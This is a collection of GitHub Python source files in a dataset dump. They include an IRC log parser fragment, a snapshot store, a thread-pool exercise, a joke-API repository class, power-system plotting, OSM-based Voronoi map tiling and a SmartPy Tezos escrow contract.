line[1:].split(maxsplit=1)\n else:\n prefix, rest = None, line\n\n sender, command, middle, trailing = None, None, None, None\n\n if prefix:\n sender = prefix.split('!')[0]\n\n rest = rest.split(None, 1)\n command = rest[0].upper()\n\n if len(rest) == 2:\n params = rest[1]\n params = params.split(':', 1)\n middle = params[0].strip()\n if len(params) == 2:\n trailing = params[1].strip()\n\n return prefix, sender, command, middle, trailing\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"susam/clog","sub_path":"clog.py","file_name":"clog.py","file_ext":"py","file_size_in_byte":5959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"13539788432","text":"import threading\nfrom math import inf\nfrom collections import defaultdict\nimport bisect\n\n\nclass SnapshotContainer:\n \"\"\"\n Stores all business properties of an instance of view model\n\n For now similar to a dictionary, but might change to pickledb\n for debugging and testing the code.\n\n \"\"\"\n\n def __init__(self):\n self.d = defaultdict(list)\n self.store = dict()\n self.lock = threading.Lock()\n self._read_times = [(-inf, -inf)]\n\n # def get(self, key):\n # return self.store[key]\n #\n # def set(self, key, val):\n # self.store[key] = val\n\n def set_with_timestamp(self, key: str, val, timestamp: tuple=None) -> None:\n self.store[(timestamp, key)] = val\n self.d[key].append(timestamp)\n # Since the timestamps for all TimeMap.set operations\n # are strictly increasing\n # self.d[key].sort()\n\n def set(self, key: str, val, timestamp: tuple=None) -> None:\n self.store[(timestamp, key)] = val\n self.d[key].append(timestamp)\n # Since the timestamps for all TimeMap.set operations\n # are strictly increasing\n # self.d[key].sort()\n\n def has_previous(self, key: str):\n return len(self.d[key]) != 0\n\n def previous(self, key):\n ts = self.d[key][-1]\n return self.store[(ts, key)]\n\n def get(self, key: str, timestamp: tuple=None):\n if timestamp is None:\n return self.store[(timestamp, key)]\n\n idx = bisect.bisect_right(self.d[key], timestamp)\n if idx == 0:\n raise AttributeError\n else:\n ts = self.d[key][idx - 1]\n return self.store[(ts, key)]\n\n from math import inf\n\n def get_with_range(self, key, lo_excl=(-inf,-inf), hi_incl=(inf,inf)):\n \"\"\" NOTE: low is exclusive and high is inclusive (different from range)\n\n :param key:\n :param lo_excl:\n :param hi_incl:\n :return:\n \"\"\"\n start_idx = bisect.bisect_right(self.d[key], lo_excl)\n end_idx = bisect.bisect_right(self.d[key], hi_incl)\n for ts in self.d[key][start_idx:end_idx]:\n yield self.store[(ts, key)]\n","repo_name":"billyrrr/onto","sub_path":"onto/store/snapshot_container.py","file_name":"snapshot_container.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"66"}
+{"seq_id":"21733079203","text":"import Zadania.Library.library as Library\nimport time\nimport datetime\nimport threading, queue\n#Library.TFIDF(\"../teksty/papk.txt\")\ndef log(message):\n now = datetime.datetime.now().strftime(\"%H:%M:%S\")\n print(\"%s %s\" % (now, message))\n\ndef oblicz(x):\n time.sleep(x)\n return x * x\n\n# Watki w puli oczekujace na zadania w kolejce ``kolejka_zadan``\nclass WatekOblicz(threading.Thread):\n def __init__(self, id, kolejka_zadan):\n threading.Thread.__init__(self, name=\"WatekOblicz-%d\" % (id,))\n self.kolejka_zadan = kolejka_zadan\n def run(self):\n while True:\n # watek sie blokuje w oczekiwaniu az cos trafi do kolejki\n req = self.kolejka_zadan.get()\n if req is None:\n # Nie ma nic wiecej do przetwarzania, wiec konczymy\n self.kolejka_zadan.task_done()\n break\n value, kolejka_rezultatow = req\n result = oblicz(value)\n log(\"%s %s -> %s\" % (self.getName(), value, result))\n kolejka_rezultatow.put(result)\n self.kolejka_zadan.task_done()\n\n\n\ndef threaded_sum(values, kolejka_zadan):\n nsum = 0.0\n kolejka_rezultatow = queue.Queue()\n for value in values:\n kolejka_zadan.put((value, kolejka_rezultatow))\n # pobieramy wyniki; kolejnosc odpowiedzi nie musi byc identyczna jak zadan!\n # uzycie \"_\" jest konwencja oznaczajaca \"wartosc tej zmiennej mnie nie interesuje\"\n for _ in values:\n nsum += kolejka_rezultatow.get()\n return nsum\n\ndef main():\n kolejka_zadan = queue.Queue()\n log(\"uruchamiam watek glowny\")\n # inicjalizujemy pule watkow z trzema watkami \"obliczeniowymi\"\n N_liczba_watkow = 3\n for i in range(N_liczba_watkow):\n WatekOblicz(i, kolejka_zadan).start()\n\n # wrzucamy 5 zadan\n result = threaded_sum( (4, 5, 3, 1.5, 2.2), kolejka_zadan )\n log(\"suma wynosi: %f\" % (result,))\n\n # wysylamy zadania zakonczenia przetwarzania do wszystkich watkow\n for i in range(N_liczba_watkow):\n kolejka_zadan.put(None)\n kolejka_zadan.join()\n log(\"koniec watku glownego.\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"Peggaz/ZTP","sub_path":"Zadania/testRozwiazan/wąteki-test.py","file_name":"wąteki-test.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"2930676050","text":"from Infrastructure.Entities.Core.Chistes import Chistes, chistes_schema\nfrom Infrastructure.Repositories.RepositoryBase import RepositoryBase\nfrom Infrastructure.Repositories.Complements.Utils import *\nfrom sqlalchemy import func\nimport datetime\nimport logging\nimport requests\nfrom settings import create_app, ENVIRONMENT_NAME\n\napp = create_app(ENVIRONMENT_NAME)\n\nWEAPI_CHUCKNORRIS = app.config[\"WEAPI_CHUCKNORRIS\"]\nWEAPI_JOKE = app.config[\"WEAPI_JOKE\"]\nVERIFY_SSL = app.config[\"VERIFY_SSL\"]\n\n\ndef get_info(i, name):\n if name == 'chuck':\n return {\n 'id': i['id'],\n 'descripcion' : i['value']\n }\n elif name == 'joke':\n return {\n 'id': i['id'],\n 'descripcion' : i['joke']\n }\n \ndef get_json(i,type_dict):\n \n summary_schema=chistes_schema(many=type_dict,only=(\n \"id\",\n \"descripcion\"\n )\n )\n \n return summary_schema.dump(i)\n\nclass ChistesRepository(RepositoryBase):\n db = None\n\n def __init__(self, db):\n self.db = db\n super().__init__(db, entity_base=Chistes, entity_name='Chistes')\n\n def get_api_chucknorris(self):\n try:\n url = WEAPI_CHUCKNORRIS + f'/random'\n headers = {'content-type': 'application/json'}\n \n r = requests.get(url, headers=headers, verify=VERIFY_SSL)\n if r.status_code not in (200, 201):\n return None\n re = r.json() \n row = get_info(re, name = 'chuck')\n return row\n except Exception as e:\n print(e)\n return None\n \n def get_api_joke(self):\n try:\n url = WEAPI_JOKE\n headers = {'Accept': 'application/json'}\n \n r = requests.get(url, headers=headers, verify=VERIFY_SSL)\n if r.status_code not in (200, 201):\n return None\n re = r.json()\n\n row = get_info(re, name = 'joke')\n return row\n except Exception as e:\n print(e)\n return None\n \n def get_by_id(self, id):\n try:\n query = self.session().query(Chistes).filter_by(id=id,vigente=True).first()\n if query is None:\n return None\n i = get_json(query,False)\n return i\n self.session().commit()\n except Exception as e:\n print(e)\n raise e\n self.session().rollback()\n raise\n finally:\n self.session().close()\n \n def get_all(self):\n try:\n query = self.session().query(Chistes).filter(Chistes.vigente == True).all()\n print(query)\n now = datetime.datetime.now()\n \n dt_string = now.date()\n print(now)\n logging.warning(str(now))\n logging.warning(str(now))\n return 'x'\n except Exception as e:\n return None\n self.session().rollback()\n raise\n finally:\n self.session().close()\n\n def get_by_element(self, id):\n try:\n return self.session().query(Chistes).filter_by(id=id, vigente=True).first()\n except Exception as e:\n raise e\n finally:\n self.session().close()\n\n def insert(self, item):\n try:\n self.session().add(item)\n self.session().commit()\n self.session().refresh(item)\n return get_json(item,False)\n except Exception as e:\n return None\n self.session().rollback()\n raise\n finally:\n self.session().close()\n\n def update(self, item):\n try:\n super().update(serialize(item),item.id)\n return True\n except Exception as e:\n print(e)\n self.session().rollback()\n raise\n finally:\n self.session().close()\n \n\n def disabled(self, id):\n try:\n self.session().query(self.entity_base).filter_by(id_lego_convivencia=id).update({'vigente': False})\n self.session().commit()\n return True\n except Exception as e:\n self.session().rollback()\n raise\n finally:\n self.session().close()\n","repo_name":"Luis-Santiago93/reto-back-python","sub_path":"Infrastructure/Repositories/ChistesRepository.py","file_name":"ChistesRepository.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"1883636525","text":"def AreaLosses(mirror, blkFlag=True, printFigs=False):\n \"\"\"Plot AreaLosses of given mirror areas\"\"\"\n import matplotlib.pyplot as plt\n import numpy as np\n\n mir = mirror\n ### Plot Area Change in Losses over time\n mins = np.array(mir.r_t)/60.0;\n minEnd = max(mins)\n caseName = mir.simParams['fileName'][:-1]\n mini = 1\n\n fig, ax = plt.subplots()\n for area in mir.Area:\n ax.plot(mins, np.array(area.r_Losses)-area.r_Losses[0], linewidth=1.25,#linestyle=\":\",\n label= 'Area '+ str(area.Area)+', Norm: '+ str(int(area.r_Losses[0])))\n\n # Scale current axis.\n box = ax.get_position()\n ax.set_position([box.x0, box.y0, box.width * 1.05, box.height])\n\n # Put a legend to the right of the current axis\n ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n\n ax.set_title('Area Change in Losses\\n Case: ' + caseName)\n ax.set_xlim(0,minEnd)\n ax.set_ylabel('MW')\n ax.set_xlabel('Time [minutes]')\n\n #ax.legend(loc=0)\n ax.grid(True)\n fig.set_dpi(150)\n fig.set_size_inches(9/mini, 2.5)\n fig.tight_layout()\n if printFigs: plt.savefig(caseName+'AreaLosses'+'.pdf', dpi=300)\n plt.show(block=blkFlag)\n plt.pause(0.00001)","repo_name":"thadhaines/PSLTDSim","sub_path":"psltdsim/plot/AreaLosses.py","file_name":"AreaLosses.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"10340412716","text":"import math\nimport os\nimport random\nimport re\nimport subprocess\n\nfrom PIL import Image, ImageDraw\n\nimport bdgmath\n\n\"\"\"\ncollects city data from state protocol buffer files, \nsorts city by population,\ncreates a bridson blue noise map starting with cities, populating with point spacing 1.0\ngenerates tile polygons using voronoi\n\nreads: OSM/*-latest.osm.pbf\nwrites: \n map.png\n Tiles/voronoi.json\n Tiles/tile_*.json\n\"\"\"\n\n# from pyrosm import get_data\n\n# rainbow\n# west_limit = -123\n# east_limit = -122\n# north_limit = 48\n# south_limit = 47\n\n# washington\n# west_limit = -125\n# east_limit = -116\n# north_limit = 49\n# south_limit = 46\n\n# sea->bos\nwest_limit = -125\neast_limit = -65\nnorth_limit = 49\nsouth_limit = 40\n\n# continental US\nwest_limit = -125\neast_limit = -65\nnorth_limit = 49\nsouth_limit = 25\n\nstateToAbbrevDict = {\n \"Alabama\": \"AL\",\n \"Alaska\": \"AK\",\n \"Arizona\": \"AZ\",\n \"Arkansas\": \"AR\",\n \"California\": \"CA\",\n \"Colorado\": \"CO\",\n \"Connecticut\": \"CT\",\n \"Delaware\": \"DE\",\n \"Florida\": \"FL\",\n \"Georgia\": \"GA\",\n \"Hawaii\": \"HI\",\n \"Idaho\": \"ID\",\n \"Illinois\": \"IL\",\n \"Indiana\": \"IN\",\n \"Iowa\": \"IA\",\n \"Kansas\": \"KS\",\n \"Kentucky\": \"KY\",\n \"Louisiana\": \"LA\",\n \"Maine\": \"ME\",\n \"Maryland\": \"MD\",\n \"Massachusetts\": \"MA\",\n \"Michigan\": \"MI\",\n \"Minnesota\": \"MN\",\n \"Mississippi\": \"MS\",\n \"Missouri\": \"MO\",\n \"Montana\": \"MT\",\n \"Nebraska\": \"NE\",\n \"Nevada\": \"NV\",\n \"New Hampshire\": \"NH\",\n \"New Jersey\": \"NJ\",\n \"New Mexico\": \"NM\",\n \"New York\": \"NY\",\n \"North Carolina\": \"NC\",\n \"North Dakota\": \"ND\",\n \"Ohio\": \"OH\",\n \"Oklahoma\": \"OK\",\n \"Oregon\": \"OR\",\n \"Pennsylvania\": \"PA\",\n \"Rhode Island\": \"RI\",\n \"South Carolina\": \"SC\",\n \"South Dakota\": \"SD\",\n \"Tennessee\": \"TN\",\n \"Texas\": \"TX\",\n \"Utah\": \"UT\",\n \"Vermont\": \"VT\",\n \"Virginia\": \"VA\",\n \"Washington\": \"WA\",\n \"West Virginia\": \"WV\",\n \"Wisconsin\": \"WI\",\n \"Wyoming\": \"WY\",\n}\n\n\nclass State:\n def __init__(self, name, osm_filename=None):\n self.name = name.title().replace(\"-\", \" \")\n self.abbrev = stateToAbbrevDict[self.name]\n self.osm_filename = osm_filename\n if osm_filename is None:\n self.osm_filename = self.name.lower().replace(\" \", \"-\")\n\n def __lt__(self, o):\n return self.name < o.name\n\n\ndef make_rainbow():\n states = [\"rainbow.pbf\"]\n return states\n\n\ndef make_sea_to_bos():\n # sea->bos states\n\n states = [\n \"washington\",\n \"idaho\",\n # \"montana\",\n # \"north-dakota\",\n # \"minnesota\",\n # \"wisconsin\",\n # \"illinois\",\n # \"indiana\",\n # \"ohio\",\n # \"pennsylvania\",\n # \"new-york\",\n # \"massachusetts\"\n ]\n\n return [State(s) for s in states]\n\n\ndef make_continental_us():\n # all continental US states\n\n states = [\n \"Alabama\",\n # \"Alaska\",\n \"Arizona\",\n \"Arkansas\",\n # \"California\",\n \"Colorado\",\n \"Connecticut\",\n \"Delaware\",\n \"Florida\",\n \"Georgia\",\n # \"Hawaii\",\n \"Idaho\",\n \"Illinois\",\n \"Indiana\",\n \"Iowa\",\n \"Kansas\",\n \"Kentucky\",\n \"Louisiana\",\n \"Maine\",\n \"Maryland\",\n \"Massachusetts\",\n \"Michigan\",\n \"Minnesota\",\n \"Mississippi\",\n \"Missouri\",\n \"Montana\",\n \"Nebraska\",\n \"Nevada\",\n \"New Hampshire\",\n \"New Jersey\",\n \"New Mexico\",\n \"New York\",\n \"North Carolina\",\n \"North Dakota\",\n \"Ohio\",\n \"Oklahoma\",\n \"Oregon\",\n \"Pennsylvania\",\n \"Rhode Island\",\n \"South Carolina\",\n \"South Dakota\",\n \"Tennessee\",\n \"Texas\",\n \"Utah\",\n \"Vermont\",\n \"Virginia\",\n \"Washington\",\n \"West Virginia\",\n \"Wisconsin\",\n \"Wyoming\",\n ]\n\n states = [State(s) for s in states] + [\n State(\"California\", \"norcal\"),\n State(\"California\", \"socal\"),\n ]\n\n states.sort()\n\n return states\n\n\nif True:\n states = make_continental_us()\nelse:\n states = make_sea_to_bos()\n\nrel_path = \"OSM\"\nsuffix = \"-latest.osm.pbf\"\n# suffix = \"\"\n\nIM_WIDTH = 6000\nIM_HEIGHT = 3500\n\n\ndef bdg_map(v, in_min, in_max, out_min, out_max):\n f = (v - in_min) / (in_max - in_min)\n return out_min + f * (out_max - out_min)\n\n\nim = Image.new(\"RGB\", (IM_WIDTH, IM_HEIGHT), (128, 200, 128))\ndraw = ImageDraw.Draw(im)\n\n\nclass City:\n def __init__(self, name, state_name, lat, lon, pop):\n self.name = name\n self.state_name = state_name\n self.lat = lat\n self.lon = lon\n self.pop = pop\n\n def __lt__(self, o):\n return self.pop < o.pop\n\n def __str__(self):\n return \"%s, %s (%f, %f) p: %d\" % (\n self.name,\n self.state_name,\n self.lat,\n self.lon,\n self.pop,\n )\n\n def __repr__(self):\n return str(self)\n\n def dist(self, other):\n return bdgmath.haversine_distance_deg(self.lat, self.lon, other.lat, other.lon)\n\n\ncities = []\n\nfor s in states:\n im.save(\"map.png\")\n\n print(\"state: %s (%s)\" % (s.name, s.abbrev))\n\n # fp = get_data(s, directory=rel_path)\n\n p = os.path.join(rel_path, s.osm_filename + suffix)\n\n print(p)\n\n cmd = \"./DrawMap/drawmap/target/release/drawmap \" + p\n print(cmd)\n\n proc = subprocess.run(cmd.split(), capture_output=True)\n\n print(\"returncode:\", proc.returncode)\n\n out_lines = str(proc.stdout, \"UTF-8\").split(\"\\n\")\n # for o in out_lines:\n # print(o)\n\n color = (255, 0, 0)\n\n if proc.returncode == 0:\n state_cities = []\n\n for line in out_lines:\n # print(line)\n if line.startswith(\"Found a city:\"):\n # print(line)\n m = re.search(\n 'name=\"([A-Za-z ]+)\" lat=([0-9\\.-]*), lon=([0-9\\.-]*), population=([0-9]+)',\n line,\n )\n # print (\"city match?\", m)\n if m:\n # print(m[1])\n # print(m[2])\n # print(m[3])\n # print(m[4])\n\n name = m[1]\n lat = float(m[2])\n lon = float(m[3])\n pop = int(m[4])\n\n city = City(name, s.name, lat, lon, pop)\n state_cities.append(city)\n print(\"city:\", city)\n\n if line == \"highway\":\n color = (64, 64, 64)\n # print(\"got hwy\")\n if line == \"Found a boundary\":\n color = (0, 0, 128)\n # print(\"got boundary\")\n if line.startswith(\"pl:\"):\n coords = []\n\n if color == (0, 0, 128):\n continue\n\n if \"[\" in line and \"]\" in line:\n left = line.index(\"[\")\n right = line.index(\"]\")\n line = line[left + 1 : right]\n # print (\"stripped line:\", line)\n\n while line:\n if \"(\" in line and \")\" in line:\n left = line.index(\"(\")\n right = line.index(\")\")\n coord_str = line[left + 1 : right]\n # print (\"found coord\", coord_str)\n line = line[right + 1 :]\n\n terms = coord_str.split(\",\")\n coords.append((float(terms[0]), float(terms[1])))\n else:\n break\n\n # print(\"parsed coords:\", coords)\n\n im_coords = []\n for c in coords:\n c_lat, c_lon = c\n ix = bdg_map(c_lon, west_limit, east_limit, 0, IM_WIDTH)\n iy = bdg_map(c_lat, north_limit, south_limit, 0, IM_HEIGHT)\n im_coords.append((ix, iy))\n\n # print(\"drawing\", im_coords)\n\n draw.line(im_coords, fill=color, width=2)\n # exit(-1)\n\n for sc in state_cities:\n ix = bdg_map(sc.lon, west_limit, east_limit, 0, IM_WIDTH)\n iy = bdg_map(sc.lat, north_limit, south_limit, 0, IM_HEIGHT)\n\n radius = 3.5\n\n draw.ellipse(\n (ix - radius, iy - radius, ix + radius, iy + radius),\n fill=(255, 192, 0),\n )\n cities.append(sc)\n\n else:\n print(\"error\")\n err_lines = str(proc.stderr, \"UTF-8\").split(\"\\n\")\n for e in err_lines:\n print(\"ERR: \", e)\n\ncities.sort()\ncities = cities[::-1]\n\nprint()\nprint()\n\nfor ci, c in enumerate(cities):\n print(ci, c)\n\nim.save(\"map.png\")\n\n\n# ----------------------------------------\n# Bridsonize\n# ----------------------------------------\n\ngrid = {}\n\npoint_spacing = 1.0\n\ncell_size = point_spacing / math.sqrt(2.0)\n\n\ndef lat_lon_to_index(lat, lon):\n ix = math.floor((lon - west_limit) / cell_size)\n iy = math.floor((lat - south_limit) / cell_size)\n\n return (ix, iy)\n\n\ndef can_insert(lat, lon):\n if (\n (lon < west_limit)\n or (lon > east_limit)\n or (lat < south_limit)\n or (lat > north_limit)\n ):\n return False\n\n ix, iy = lat_lon_to_index(lat, lon)\n\n for dx in range(-2, 3):\n px = ix + dx\n for dy in range(-2, 3):\n py = iy + dy\n\n probe_key = (px, py)\n if probe_key in grid:\n g_lat, g_lon = grid[probe_key]\n\n d_lat = lat - g_lat\n d_lon = lon - g_lon\n\n # dist = math.sqrt(d_lat * d_lat + d_lon * d_lon)\n dist = bdgmath.haversine_distance_deg(lat, lon, g_lat, g_lon)\n\n if dist <= point_spacing:\n return False\n return True\n\n\nopen_points = []\nadded_points = []\n\nfor c in cities:\n if can_insert(c.lat, c.lon):\n ci = lat_lon_to_index(c.lat, c.lon)\n grid[ci] = (c.lat, c.lon)\n print(\"inserted\", c)\n open_points.append((c.lat, c.lon))\n added_points.append((c.lat, c.lon))\n\nk = 30\n\nwhile open_points:\n p_lat, p_lon = open_points[0]\n open_points = open_points[1:]\n\n p = (p_lat, p_lon)\n\n # print(\"examining\", p)\n\n seed = random.random()\n epsilon = 0.000001\n\n inserted = False\n\n for j in range(k):\n # theta = 2 * math.pi * (seed + float(j) / k)\n heading = 360.0 * (seed + float(j) / k)\n\n r = point_spacing + epsilon\n # new_lat = p_lat + r * math.sin(theta)\n # new_lon = p_lon + r * math.cos(theta)\n new_lat, new_lon = bdgmath.haversine_offset_deg(p_lat, p_lon, heading, r)\n\n if can_insert(new_lat, new_lon):\n ni = lat_lon_to_index(new_lat, new_lon)\n grid[ni] = (new_lat, new_lon)\n open_points.append((new_lat, new_lon))\n inserted = True\n # print(\"inserted new point\", new_lat, new_lon)\n added_points.append((new_lat, new_lon))\n\n # --- draw ---\n\n ix = bdg_map(new_lon, west_limit, east_limit, 0, IM_WIDTH)\n iy = bdg_map(new_lat, north_limit, south_limit, 0, IM_HEIGHT)\n\n radius = 3.5\n\n draw.ellipse(\n (ix - radius, iy - radius, ix + radius, iy + radius),\n fill=(0, 0, 64),\n )\n\n\nim.save(\"map.png\")\n\n# ----------------------------------------\n# voronoi\n# ----------------------------------------\n# see https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.Voronoi.html\n\nimport numpy as np\nfrom scipy.spatial import Voronoi, voronoi_plot_2d\n\nxys = [(p[1], p[0]) for p in added_points]\n# make up data points\npoint_array = np.array(xys)\n\n# compute Voronoi tesselation\nvor = Voronoi(point_array)\n\nprint(\"points:\", vor.points)\nprint(\"vertices:\", vor.vertices)\n\n# write json\nimport json\nimport glob\nimport os\n\nfor fn in glob.glob(\"Tiles/*.json\"):\n os.unlink(fn)\n\nwith open(\"Tiles/voronoi.json\", \"wt\") as vf:\n data = {}\n\n point_list = []\n for pi, p in enumerate(vor.points):\n point_list.append({\"lat\": p[1], \"lon\": p[0], \"point_index\": pi})\n data[\"points\"] = point_list\n\n vert_list = []\n for pi, p in enumerate(vor.vertices):\n vert_list.append({\"lat\": p[1], \"lon\": p[0], \"vert_index\": pi})\n data[\"vertices\"] = vert_list\n\n region_list = []\n for ri, r in enumerate(vor.regions):\n if -1 in r:\n continue\n\n if len(r) == 0:\n continue\n\n r_data = {\"vert_indices\": r, \"region_index\": ri}\n region_list.append(r_data)\n data[\"regions\"] = region_list\n\n vf.write(json.dumps(data, indent=2))\n\n# make tile objects\nimport tile\nimport point\n\nprint(\"going to try to save %d regions\" % len(vor.regions))\nprint(\"I have %d points\" % len(vor.points))\n\nregion_to_point_map = {}\nfor pi in range(len(vor.points)):\n ri = vor.point_region[pi]\n region_to_point_map[ri] = pi\n\n\ntiles = []\n\nfor ri, r in enumerate(vor.regions):\n if -1 in r:\n continue\n if len(r) == 0:\n continue\n\n if ri not in region_to_point_map:\n print(\"error, running off end of points\")\n break\n\n t = tile.Tile()\n pi = region_to_point_map[ri]\n p = vor.points[pi]\n tile_centroid = point.Point(p[1], p[0], None, None)\n t.centroid_lat_lon = tile_centroid\n t.tile_id = pi\n\n verts = []\n for vi in r:\n p = vor.vertices[vi]\n pt = point.Point(p[1], p[0], None, None)\n verts.append(pt)\n t.verts_lat_lon = verts\n t.make_bbox_lat_lon()\n\n # todo more population\n\n tiles.append(t)\n\nfor c in cities:\n for t in tiles:\n if t.point_in_tile_lat_lon(c.lat, c.lon):\n t.city_list.append(c.name)\n if c.state_name not in t.state_list:\n t.state_list.append(c.state_name)\n t.state_list.sort()\n\nfor t in tiles:\n fn = \"Tiles/tile_%04d.json\" % (t.tile_id)\n t.to_json(fn)\n\nfor region in vor.regions:\n if -1 in region:\n continue\n\n polygon = [vor.vertices[i] for i in region]\n\n for i in range(len(polygon)):\n j = i - 1\n\n x1, y1 = polygon[i]\n x2, y2 = polygon[j]\n\n i_x1 = bdg_map(x1, west_limit, east_limit, 0, IM_WIDTH)\n i_y1 = bdg_map(y1, north_limit, south_limit, 0, IM_HEIGHT)\n i_x2 = bdg_map(x2, west_limit, east_limit, 0, IM_WIDTH)\n i_y2 = bdg_map(y2, north_limit, south_limit, 0, IM_HEIGHT)\n\n try:\n draw.line((i_x1, i_y1, i_x2, i_y2), fill=(255, 20, 20), width=3)\n except ValueError as ve:\n print(\"value error drawing line\", i_x1, i_y1, i_x2, i_y2)\n\n\nim.save(\"map.png\")\n","repo_name":"tsmaster/BigMesh","sub_path":"makevoronoitiles.py","file_name":"makevoronoitiles.py","file_ext":"py","file_size_in_byte":14649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"9435547825","text":"# Escrow - Example for illustrative purposes only.\r\n\r\nimport smartpy as sp\r\n\r\nclass Escrow(sp.Contract):\r\n #Modified\r\n def __init__(self, owner, fromOwner, counterparty, fromCounterparty, epoch, hashedSecret, admin):\r\n self.init(fromOwner = fromOwner,\r\n fromCounterparty = fromCounterparty,\r\n balanceOwner = sp.tez(0),\r\n balanceCounterparty = sp.tez(0),\r\n hashedSecret = hashedSecret,\r\n epoch = epoch,\r\n owner = owner,\r\n counterparty = counterparty,\r\n admin = admin,\r\n withdrawalAuthorized = sp.bool(False),\r\n withdrawOwner = sp.bool(False),\r\n withdrawCounterparty = sp.bool(False))\r\n\r\n #Modified\r\n @sp.entry_point\r\n def addBalanceOwner(self):\r\n sp.verify(sp.sender == self.data.owner, \"NOT AUTHORIZED: ESCROW OWNER ONLY\")\r\n sp.verify(self.data.balanceOwner == sp.tez(0), \"OWNER HAS ALREADY ADDED BALANCE\")\r\n sp.verify(sp.amount == self.data.fromOwner)\r\n self.data.balanceOwner = self.data.fromOwner\r\n\r\n #Modified\r\n @sp.entry_point\r\n def addBalanceCounterparty(self):\r\n sp.verify(sp.sender == self.data.counterparty, \"NOT AUTHORIZED: ESCROW COUNTERPARTY ONLY\")\r\n sp.verify(self.data.balanceCounterparty == sp.tez(0), \"COUNTERPARTY HAS ALREADY ADDED BALANCE\")\r\n sp.verify(sp.amount == self.data.fromCounterparty)\r\n self.data.balanceCounterparty = self.data.fromCounterparty\r\n\r\n def claim(self, identity):\r\n sp.verify(sp.sender == identity)\r\n sp.send(identity, self.data.balanceOwner + self.data.balanceCounterparty)\r\n self.data.balanceOwner = sp.tez(0)\r\n self.data.balanceCounterparty = sp.tez(0)\r\n\r\n #Modified\r\n @sp.entry_point\r\n def claimCounterparty(self, params):\r\n sp.verify(sp.sender == self.data.counterparty, \"NOT AUTHORIZED: ESCROW COUNTERPARTY ONLY\")\r\n sp.verify(sp.now < self.data.epoch)\r\n sp.verify(self.data.hashedSecret == sp.blake2b(params.secret))\r\n self.claim(self.data.counterparty)\r\n\r\n #Modified\r\n @sp.entry_point\r\n def claimOwner(self):\r\n sp.verify(sp.sender == self.data.owner, \"NOT AUTHORIZED: ESCROW OWNER ONLY\")\r\n sp.verify(self.data.epoch < sp.now)\r\n self.claim(self.data.owner)\r\n\r\n #Added\r\n @sp.entry_point\r\n def revertOwner(self):\r\n sp.verify(sp.sender == self.data.owner, \"NOT AUTHORIZED: ESCROW OWNER ONLY\")\r\n self.data.withdrawOwner = sp.bool(True)\r\n\r\n #Added\r\n @sp.entry_point\r\n def revertCounterparty(self):\r\n sp.verify(sp.sender == self.data.counterparty, \"NOT AUTHORIZED: ESCROW COUNTERPARTY ONLY\")\r\n self.data.withdrawCounterparty = sp.bool(True)\r\n \r\n #Added\r\n @sp.entry_point\r\n def revertFunds(self):\r\n sp.verify(sp.sender == self.data.admin, \"NOT AUTHORIZED: ESCROW ADMIN ONLY\")\r\n sp.verify(self.data.withdrawOwner, \"OWNER MUST AGREE TO WITHDRAW FROM CONTRACT\")\r\n sp.verify(self.data.withdrawCounterparty, \"COUNTERPARTY MUST AGREE TO WITHDRAW FROM CONTRACT\")\r\n \r\n self.data.withdrawalAuthorized = sp.bool(True)\r\n sp.send(self.data.owner, self.data.balanceOwner)\r\n sp.send(self.data.counterparty, self.data.balanceCounterparty)\r\n self.data.balanceOwner = sp.tez(0)\r\n self.data.balanceCounterparty = sp.tez(0)\r\n \r\n\r\n@sp.add_test(name = \"Escrow\")\r\ndef test():\r\n scenario = sp.test_scenario()\r\n scenario.h1(\"Escrow\")\r\n hashSecret = sp.blake2b(sp.bytes(\"0x01223344\"))\r\n alice = sp.test_account(\"Alice\")\r\n bob = sp.test_account(\"Bob\")\r\n admin = sp.test_account(\"Admin\")\r\n c1 = Escrow(alice.address, sp.tez(50), bob.address, sp.tez(4), sp.timestamp(123), hashSecret, admin.address)\r\n scenario += c1\r\n c1.addBalanceOwner().run(sender = alice, amount = sp.tez(50))\r\n c1.addBalanceCounterparty().run(sender = bob, amount = sp.tez(4))\r\n scenario.h3(\"Erronous secret\")\r\n c1.claimCounterparty(secret = sp.bytes(\"0x01223343\")) .run(sender = bob, valid = False)\r\n scenario.h3(\"Correct secret\")\r\n c1.claimCounterparty(secret = sp.bytes(\"0x01223344\")).run(sender = bob)\r\n\r\nsp.add_compilation_target(\"escrow\", Escrow(sp.address(\"tz1cqPT2LkjD8LhXMiW8fKzFTkqTUrcgznNN\"), sp.tez(50),\r\n sp.address(\"tz1UbYuXW4sAczjvMzrgTM96vp2NHhsxqu77\"), sp.tez(4),\r\n sp.timestamp(1712479881), sp.bytes(\"0xc2e588e23a6c8b8192da64af45b7b603ac420aefd57cc1570682350154e9c04e\"),\r\n sp.address(\"tz1cftYcJt2rQydsbCDCP19zTpqeztLauFBM\")))\r\n","repo_name":"KristineNunez/Mini-Project-2","sub_path":"contract/Revised_Escrow.py","file_name":"Revised_Escrow.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
